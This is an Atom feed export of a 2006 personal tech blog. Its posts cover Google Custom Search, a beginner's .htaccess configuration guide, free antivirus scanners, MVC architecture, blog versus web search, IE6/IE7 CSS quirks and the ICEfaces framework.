<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9561783</id><updated>2012-01-12T12:52:08.000+05:30</updated><title type='text'>eshwar's Web World</title><subtitle type='html'>Welcome, This gives you a glimpse of all the stuff you want to know and looking for.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default?start-index=101&amp;max-results=100'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>325</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9561783.post-116478128690106922</id><published>2006-11-29T11:51:00.000+05:30</published><updated>2006-11-29T11:51:27.046+05:30</updated><title type='text'>Your Custom Search Engine </title><content type='html'>It's easy to build a CSE -- no Ph.D. in computer science required. Here's how it works:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Visit &lt;a href="http://www.google.com/coop/cse/" target="_blank"&gt;http://www.google.com/coop/cse/&lt;/a&gt; and select the websites you'd like to include in your search index. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Then choose to restrict search results to include only those pages and sites, or you can give those pages and sites higher priority and ranking within the larger Google index when people search on your search engine. &lt;/li&gt;&lt;li&gt;From the CSE site, you can generate the code to place on your site and make the search engine, through an IFRAME, look and feel like your own. If you choose, you can easily link to your current AdSense account so you have a centralized place to manage your Google AdSense relationships. &lt;br /&gt;&lt;/li&gt;&lt;li&gt;Last but certainly not least, you can invite members of your community to contribute to your search engine index, in real time. Simply enter email addresses of people you'd like to contribute and an invitation along with &lt;a href="http://google.com/coop/cse/marker" target="_blank"&gt;Google Marker&lt;/a&gt; will be sent to your invitees. &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;You can check out a few more CSEs in action by visiting our &lt;a href="http://google.com/coop/cse/examples/GooglePicks" target="_blank"&gt;featured examples page&lt;/a&gt;. You'll see some created by industry experts, bloggers, educators and techies. We're continuing to add &lt;a href="http://googlecustomsearch.blogspot.com/" target="_blank"&gt;customization and advanced features&lt;/a&gt; to the CSE too. We hope you'll try it out and &lt;a href="http://groups.google.com/group/google-co-op?lnk=lr&amp;amp;hl=en" target="_blank"&gt;let us know&lt;/a&gt; what you think.&lt;/p&gt;&lt;p&gt;&lt;a title="Your Custom Search Engine " href="http://adsense.blogspot.com/2006/11/your-search-engine-your-way.html" target="_blank" rel="Your Custom Search Engine "&gt;Get more information &lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116478128690106922?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116478128690106922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116478128690106922' title='126 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116478128690106922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116478128690106922'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/your-custom-search-engine.html' title='Your Custom Search Engine '/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>126</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116463551228436123</id><published>2006-11-27T19:21:00.000+05:30</published><updated>2006-11-27T19:21:52.833+05:30</updated><title type='text'>Working with .htaccess files</title><content type='html'>&lt;p&gt;.htaccess files provides us with ways to make configuration changes on a per-directory basis. This file works well in Apache Web Server and on Linux/Unix. Also, it works on Windows based system with Apache Web server.&lt;/p&gt;&lt;p&gt;There are several things that developers, site owners and webmasters can do by using .htaccess file. Let&amp;rsquo;s look at some of them:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Prevent directory browsing&lt;/li&gt;&lt;li&gt;Redirect visitors from one page or directory to another&lt;/li&gt;&lt;li&gt;Password protection for directories&lt;/li&gt;&lt;li&gt;Change the default index page of a directory&lt;/li&gt;&lt;li&gt;Prevent hot-linking of images from your website&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Since .htaccess file allows us to make changes on a per-directory basis, the following are valid places to put the .htaccess file in:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/.htaccess&lt;/strong&gt; [placing in root folder of the site]&lt;br /&gt;&lt;strong&gt;/content/.htaccess&lt;/strong&gt; [placing in content folder]&lt;br /&gt;&lt;strong&gt;/content/html/images/.htaccess&lt;/strong&gt; [in the images folder]&lt;/p&gt;&lt;p&gt;&lt;img class="wp-smiley" alt=":idea:" src="http://www.bloghash.com/wp-includes/images/smilies/icon_idea.gif" /&gt; Any command that you place in .htaccess file will affect it&amp;rsquo;s current directory where it is placed and also it&amp;rsquo;s sub-directories. You may put a .htaccess file in the root folder such that it will affect the whole site.&lt;/p&gt;&lt;p&gt;&lt;img class="wp-smiley" alt=":idea:" src="http://www.bloghash.com/wp-includes/images/smilies/icon_idea.gif" /&gt; &lt;strong&gt;Make a backup of your .htaccess file [if you have any] before you attempt any of the settings mentioned in this article&lt;/strong&gt;. &lt;strong&gt;I must not be held responsible for any consequences that arises due to editing your .htaccess file&lt;/strong&gt;. &lt;img class="wp-smiley" alt=";)" src="http://www.bloghash.com/wp-includes/images/smilies/icon_wink.gif" /&gt; &lt;/p&gt;&lt;h4&gt;Working with .htaccess files&lt;/h4&gt;&lt;p&gt;For creating and editing purpose, a normal text editor such as notepad will do. Alternatively, you can download a free copy of &lt;a title="PSPad Editor" href="http://www.bloghash.com/2006/11/pspad-feature-rich-free-editor-for-programming/" target="_blank" rel="Working with .htaccess files"&gt;PSPad&lt;/a&gt; for easy editing. To be able to see files in your FTP software, you must enable settings in your FTP client to see hidden files on the remote server [applicable to your system as well]. When done editing, you can save the file with double quotes in windows. [Save file as &amp;ldquo;.htaccess&amp;rdquo;]. This will save the file as .htaccess and will not prompt you for a file name as such. I think you have quite understood these instructions. Let&amp;rsquo;s move on to some common examples and usages of .htaccess file.&lt;/p&gt;&lt;h4&gt;Allow/Deny Directory browsing&lt;/h4&gt;&lt;p&gt;With directory browsing on, people when open a URL from your site with no index page or no pages at all, will see all it&amp;rsquo;s files and folders.&lt;strong&gt; To prevent such directory viewing&lt;/strong&gt;, just place the following line in your .htaccess file.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IndexIgnore */*&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Many hosting companies, by default deny directory browsing and having said that, just in case you need &lt;strong&gt;to enable directory browsing&lt;/strong&gt;, place the following line in your .htaccess file.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Options +Indexes&lt;/strong&gt;&lt;/p&gt;&lt;h4&gt;Redirect visitors from one page or directory to another&lt;/h4&gt;&lt;p&gt;It&amp;rsquo;s quite simple. Look at the example lines below and place similar lines in your .htaccess file of the root folder and it will do the rest. [Remember to use permanent keyword in the line to tell the search engines that the old link has moved to the new link]&lt;br /&gt;&lt;strong&gt;Syntax&lt;/strong&gt;: Redirect permanent [old directory or file name][&lt;strong&gt;space&lt;/strong&gt;][new directory or file name]&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Redirect permanent&lt;/strong&gt; /olddirectory /newdirectory&lt;br /&gt;&lt;strong&gt;Redirect permanent&lt;/strong&gt; /olddirectory /somedirectory/newdirectory&lt;br /&gt;&lt;strong&gt;Redirect permanent&lt;/strong&gt; /oldhtmlfile.htm /newhtmlfile.htm&lt;br /&gt;&lt;strong&gt;Redirect permanent&lt;/strong&gt; /oldhtmlfile.htm http://your-domain.com/newhtmlfile.htm&lt;/p&gt;&lt;p&gt;All the above lines are valid. Just remember to replace the file/directory names with actual ones.&lt;/p&gt;&lt;h4&gt;Change the default index page of a directory or site&lt;/h4&gt;&lt;p&gt;Almost every hosting company will have index.htm, index.html, index.php, index.asp, default.asp, default.html as the default index page names in their web server settings. So, in case your site or directory does not has a file name which matches a name from the list above, chances are that your visitors will either see a list of all the files and folders [through directory browsing] or will not see anything at all. To change the default index page&amp;rsquo;s name for a directory or the site, place the following line in the .htaccess file of the root folder &lt;strong&gt;or&lt;/strong&gt; the particular directory for which you want to change the index page&amp;rsquo;s name.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;DirectoryIndex&lt;/strong&gt; homepage.htm&lt;br /&gt;&lt;strong&gt;DirectoryIndex&lt;/strong&gt; somepage.htm&lt;/p&gt;&lt;p&gt;To have more names, put a space between file names and it will take into considerations all those file names as possible index page names. Which means, if it finds a filename matching a list of names you supplied [in the given order] in .htaccess, then it will open that page as the index page for the directory. The below line, with multiple names, is also a valid usage:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;DirectoryIndex&lt;/strong&gt; homapage.html somepage.html myindexpage.html anything.html&lt;/p&gt;&lt;p&gt;&lt;img class="wp-smiley" alt=":idea:" src="http://www.bloghash.com/wp-includes/images/smilies/icon_idea.gif" /&gt; Remember, each entry must be in one line only.&lt;/p&gt;&lt;h4&gt;Prevening hot-linking of images from your website&lt;/h4&gt;&lt;p&gt;If your website contains images which people from other websites are linking to and you get charged for the extra bandwidth, then placing the following lines will prevent any such image hot-linking. Most of the hosting companies provide this feature in their control panel itself, such as CPanel. This trick requires mod_rewrite engine to be on in Apache on your web server.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;RewriteEngine on&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;RewriteCond&lt;/strong&gt; %{HTTP_REFERER} !^$&lt;br /&gt;&lt;strong&gt;RewriteCond&lt;/strong&gt; %{HTTP_REFERER} !^http://(www.)?your-domain.com/.*$ [NC]&lt;br /&gt;&lt;strong&gt;RewriteRule&lt;/strong&gt; .(gif|jpg)$ - [F]&lt;/p&gt;&lt;p&gt;In the above code, replace [your-domain] with your actual domain name [without www]&lt;/p&gt;&lt;h4&gt;Prevent access to your .htaccess file&lt;/h4&gt;&lt;p&gt;This article would have remained incomplete without mentioning this trick. &lt;img class="wp-smiley" alt=";)" src="http://www.bloghash.com/wp-includes/images/smilies/icon_wink.gif" /&gt; To prevent visitors from viewing your .htaccess file, place the following lines in your file.&lt;/p&gt;&lt;p&gt;&amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;order allow,deny&lt;br /&gt;deny from all&lt;br /&gt;&amp;lt;/Files&amp;gt;&lt;/p&gt;&lt;p&gt;More information and detailed documentation, visit &lt;a title="htaccess help" href="http://httpd.apache.org/docs/2.2/howto/htaccess.html" target="_blank" rel="Working with .htaccess files"&gt;Apache website&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a title="Working with .htaccess files" href="http://www.bloghash.com/2006/11/beginners-guide-to-htaccess-file-with-examples/" target="_blank" rel="Working with .htaccess files"&gt;Get more information &lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116463551228436123?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116463551228436123/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116463551228436123' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116463551228436123'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116463551228436123'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/working-with-htaccess-files.html' title='Working with .htaccess files'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116461781618847951</id><published>2006-11-27T14:26:00.000+05:30</published><updated>2006-11-27T14:26:56.296+05:30</updated><title type='text'>Free online virus scanners which run inside web browser</title><content type='html'>&lt;p&gt;he computer security market is flooded with antivirus software that work but don't come cheap.&lt;br /&gt;&lt;br /&gt;While viruses remain a threat to our precious data, you need not necessarily invest in expensive antivirus scanners - there are plenty of free options available that may give even some commercial vendors a run for their money.&lt;br /&gt;&lt;br /&gt;We look at some of the best software available today for keeping your computer free of viruses and other malware. Later we help you decide the one most suitable for you.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Free Online Virus Scanners&lt;/b&gt; [run inside the web browser to scan your hard drive]&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://housecall.trendmicro.com/" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;Trend Micro HouseCall&lt;/a&gt; - An online virus scanner that's absolutely free and scans your PC hard drive for any sort of viruses or even spyware. HouseCall allows you to remove detected infections. Works with Firefox and IE. Requires Java.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://us.mcafee.com/root/mfs/scan.asp" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;McAfee Freescan&lt;/a&gt; - This free virus scanner from McAfee is based on the McAfee VirusScan engine. Should viruses be found, FreeScan prepares a list of infected files and links to information about the viruses on your computer. It also gives you an option to clean your system. Requires IE with ActiveX.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://safety.live.com/site/en-US/center/howsafe.htm" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;Windows Live OneCare Scanner&lt;/a&gt; - A free antivirus online scanner from Microsoft that cleans your system from viruses and also recommends ways to improve the overall performance. Part of Windows Onecare.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://www.symantec.com/securitycheck/" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;Symantec Internet Security&lt;/a&gt; - An online virus scanner from the developers of Norton Antivirus 2007 can detect most virus threat but there is no option to delete the virus infected file or repair it. Does not examine compressed files. Requires IE with ActiveX.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://www.bitdefender.com/scan8/ie.html" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;BitDefender Online Scanner&lt;/a&gt; - Their Free Online Virus Scanner version 8 scans your system's memory, all files, folders and drives' boot sectors - the default options automatically cleans the infected files. Requires IE with ActiveX.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Free Anti Virus Software for Windows&lt;/b&gt; [Requires Installation]&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://www.avast.com/eng/avast_4_home.html" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;Avast! Home Edition&lt;/a&gt; - One of the most popular antivirus software, can also be run from Explorer context menu. You can either scan the entire hard drive or selected folders. Ships with an Antivirus screen-saver.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://www.activevirusshield.com/antivirus/freeav/index.adp" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;AOL Active Virus&lt;/a&gt; - a free virus scanner from AOL based on Kaspersky Antivirus that doesn't require an AOL account to download the software. The software can be configure to check only new and modified files thereby reducing the memory requirements. Also support scanning of incoming and outgoing email messages.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://www.clamwin.com/" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;ClamWin Virus Scanner&lt;/a&gt; - An opensource antivirus software that is great for running routine antivirus checks on your PC. You need to manually scan a file in order to detect a virus or spyware.&lt;br /&gt;&lt;br /&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://free.grisoft.com/doc/2/lng/us/tpl/v5" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;AVG 7.5 Free Antivirus&lt;/a&gt; - One of most popular free virus scanning software is AVG 7.5 Free Edition (read comments). Initially, there was confusion whether AVG 7.5 would be free like AVG 7.1 but the good news is that AVG 7.5 Free edition is already available for non-commercial, single home computer use. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusion: Which one should I choose ?&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;Unlike Desktop antivirus software, online virus scanners do not proactively protect your PC against new virus infections. &lt;br /&gt;&lt;br /&gt;But if viruses have already entered your hard drive and taken control of your existing desktop scanner program, any of the above listed online virus-scanning services can save your day.&lt;br /&gt;&lt;br /&gt;If you are a fairly experienced web user who doesn't need an antivirus software to run in the background 24 hours, scan you drive at regular intervals using HouseCall. Others may install the AOL antivirus software which uses the Kaspersky virus definitions database.&lt;/p&gt;&lt;p&gt;&lt;a title="Free online virus scanners which run inside web browser" href="http://feeds.feedburner.com/~r/labnol/~3/53657921/dont-pay-for-virus-protection-get.html" target="_blank" rel="Free online virus scanners which run inside web browser"&gt;Get more information &lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116461781618847951?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116461781618847951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116461781618847951' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116461781618847951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116461781618847951'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/free-online-virus-scanners-which-run.html' title='Free online virus scanners which run inside web browser'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116427400859699117</id><published>2006-11-23T14:56:00.000+05:30</published><updated>2006-11-23T14:56:48.736+05:30</updated><title type='text'>MVC Architecture in simple words</title><content type='html'>&lt;b&gt;About MVC&lt;/b&gt;&lt;br /&gt;&lt;p&gt;The model-view-controller (MVC) architecture provides a set of design patterns that help you separate the areas of concern involved in building and running a GUI-based application. The &lt;i&gt;model&lt;/i&gt; encapsulates the business logic and persistence code for the application. The model should be as view-technology-agnostic as possible. For example, the same model should be usable with a Swing application, a Struts application, or a JSF application. The &lt;i&gt;view&lt;/i&gt; should display model objects and contain presentation logic only. There should be no business logic or controller logic in the view. The &lt;i&gt;controller&lt;/i&gt; (along with its attending logic) acts as the mediator between the view and the model. The controller talks to the model and delivers model objects to the view to display. In an MVC architecture the controller always selects the next view.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116427400859699117?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116427400859699117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116427400859699117' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116427400859699117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116427400859699117'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/mvc-architecture-in-simple-words.html' title='MVC Architecture in simple words'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116412457191402472</id><published>2006-11-21T21:26:00.000+05:30</published><updated>2006-11-21T21:26:12.016+05:30</updated><title type='text'>Use websearch or blogsearch engine</title><content type='html'>&lt;p&gt;Well, there are least five differences between Websearch and Blog search engines listed below: &lt;br /&gt;&lt;br /&gt;1: A web search engine indexes Blogs, Webpages, Forums, PDFs and even Microsoft Office Documents. Blog Search Engines index only sites that syndicate content as a feed in either RSS or Atom formats. &lt;br /&gt;&lt;br /&gt;2. Blog Search Engine bots will index your website as soon as you ping them (or notify them about new content on your blog). Search engines spiders are much more lazy (unless you are a PR8 or PR9 website) Infact, it's not even guaranteed that a search engine would index your site.&lt;br /&gt;&lt;br /&gt;3. Since XML feeds supply data in a more structured format to the blog search engine, you can sort blog search results either by date or relevance. In normal web search engines, results are sorted by page relevance since their bots do not know the exact date when the article was written or published on the web.&lt;br /&gt;&lt;br /&gt;4. Web Search engines index all parts of your webpage including reader comments, text in the sidebars, etc. On the other hand, most blog search engines index just the text of the blog post that was supplied to them inside the RSS feed. They won't index other elements of the webpage like Archive links, Blogroll, etc.&lt;br /&gt;&lt;br /&gt;5. Blog Search engines let you restrict the search to a particular author, something not possible with Web Search. &lt;br /&gt;&lt;br /&gt;Summary: Use a blog search engine when you need information about an event that happened just seconds ago like someone smashed his PS3 on the road.&lt;br /&gt;&lt;br /&gt;In all other cases, you may prefer using a web search engine.&lt;/p&gt;&lt;p&gt;&lt;a title="Use websearch or blogsearch engine" href="http://labnol.blogspot.com/2006/11/blog-search-vs-web-search-how-are-they.html" target="_blank" rel="Use websearch or blogsearch engine"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116412457191402472?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116412457191402472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116412457191402472' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116412457191402472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116412457191402472'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/use-websearch-or-blogsearch-engine.html' title='Use websearch or blogsearch engine'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116360538321981040</id><published>2006-11-15T21:13:00.000+05:30</published><updated>2006-11-15T21:13:03.556+05:30</updated><title type='text'>Tips on IE6 and IE7</title><content type='html'>&lt;p&gt;With the release of Internet Explorer 7 the rendering engine of the most widely used browser has changed. Some of our customers reported display issues with our controls. Some of them were bugs in our controls (both in the internal rendering implementation and skins) other were problems with custom defined skins or page layout. In 5 cases out of 10 the problem was due to one of the following reasons:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;IE7 no longer accepts CSS attributes starting with underscore. Using underscores was a widely used CSS hack to circumvent rendering issues in IE6. Here is a quick example to illustrate the underscore hack:&lt;br /&gt;&lt;br /&gt;The following CSS rule would be applied in IE6 (the background would be red) but wont be applied in IE7 (background stays white):&lt;br /&gt;&lt;br /&gt;&lt;font face="Courier New"&gt;&amp;lt;style&amp;gt;&lt;br /&gt;.myDiv&lt;br /&gt;{&lt;br /&gt;_background-color: red;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=myDiv&amp;gt;Test Content&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;Width and height are now interpreted according the W3C specification they fix the size of an element and it cannot grow. In IE6 width and height were treated as min-widh and min-height from the W3C specification. In IE6 an element whose width and height properties are set would stretch to accommodate its content (provided the content exceeds the specified dimensions).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can find&amp;nbsp;&lt;a title="Tips on IE6 and IE7" href="http://www.telerik.com/support/kb/article/b454K-tkk-b454T-a.aspx" target="_blank" rel="Tips on IE6 and IE7"&gt;here&lt;/a&gt;&amp;nbsp;a KB article with more detailed info and screenshots. &lt;/p&gt;&lt;p&gt;&lt;a title="Tips on IE6 and IE7" href="http://www.pheedo.com/click.phdo?i=cfed458a425d41cadcd3341a57e3a02a" target="_blank" rel="Tips on IE6 and IE7"&gt;Get more information &lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116360538321981040?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116360538321981040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116360538321981040' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116360538321981040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116360538321981040'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/tips-on-ie6-and-ie7.html' title='Tips on IE6 and IE7'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116352637324878200</id><published>2006-11-14T23:16:00.000+05:30</published><updated>2006-11-14T23:16:13.256+05:30</updated><title type='text'>ICEFaces powerful AJaX JSF extension framework</title><content type='html'>&lt;p&gt;ICEfaces is a profoundly powerful extension framework for JavaServer Faces which provides excellent Ajax integration with no heavy lifting. Implemented as a JSF RenderKit, you can get started with ICEfaces in your JSF apps quickly and easily. That is the beauty of standards-based development, isn't it? &lt;br /&gt;&lt;br /&gt;In addition to releasing as open source, ICEsoft has also created &lt;a href="http://icefaces.org/"&gt;ICEfaces.org, a new community site to focus on ICEfaces development. &lt;/a&gt;You can download the full ICEfaces package, check out their demos and component showcase, and participate in support forums for the tools. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://icefaces.org/"&gt;&lt;img height="183" alt="ICEFaces powerful AJaX JSF extension framework" src="http://www.javalobby.org/images/postings/icefaces.org.jpg" width="224" align="left" rel="ICEFaces powerful AJaX JSF extension framework" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;This is a big day for JSF. I know all eyes are on Sun because of yesterday's news about GPL Java, but trust me that this is also important news which you don't want to overlook. ICEsoft and ICEfaces are very cool, and as open source ICEfaces is more attractive than ever.&lt;/p&gt;&lt;p&gt;&lt;a title="ICEFaces powerful AJaX JSF extension framework" href="http://www.javalobby.org/java/forums/t84309.html" target="_blank" rel="ICEFaces powerful AJaX JSF extension framework"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116352637324878200?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116352637324878200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116352637324878200' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352637324878200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116352637324878200'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/11/icefaces-powerful-ajax-jsf-extension.html' title='ICEFaces powerful AJaX JSF extension framework'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 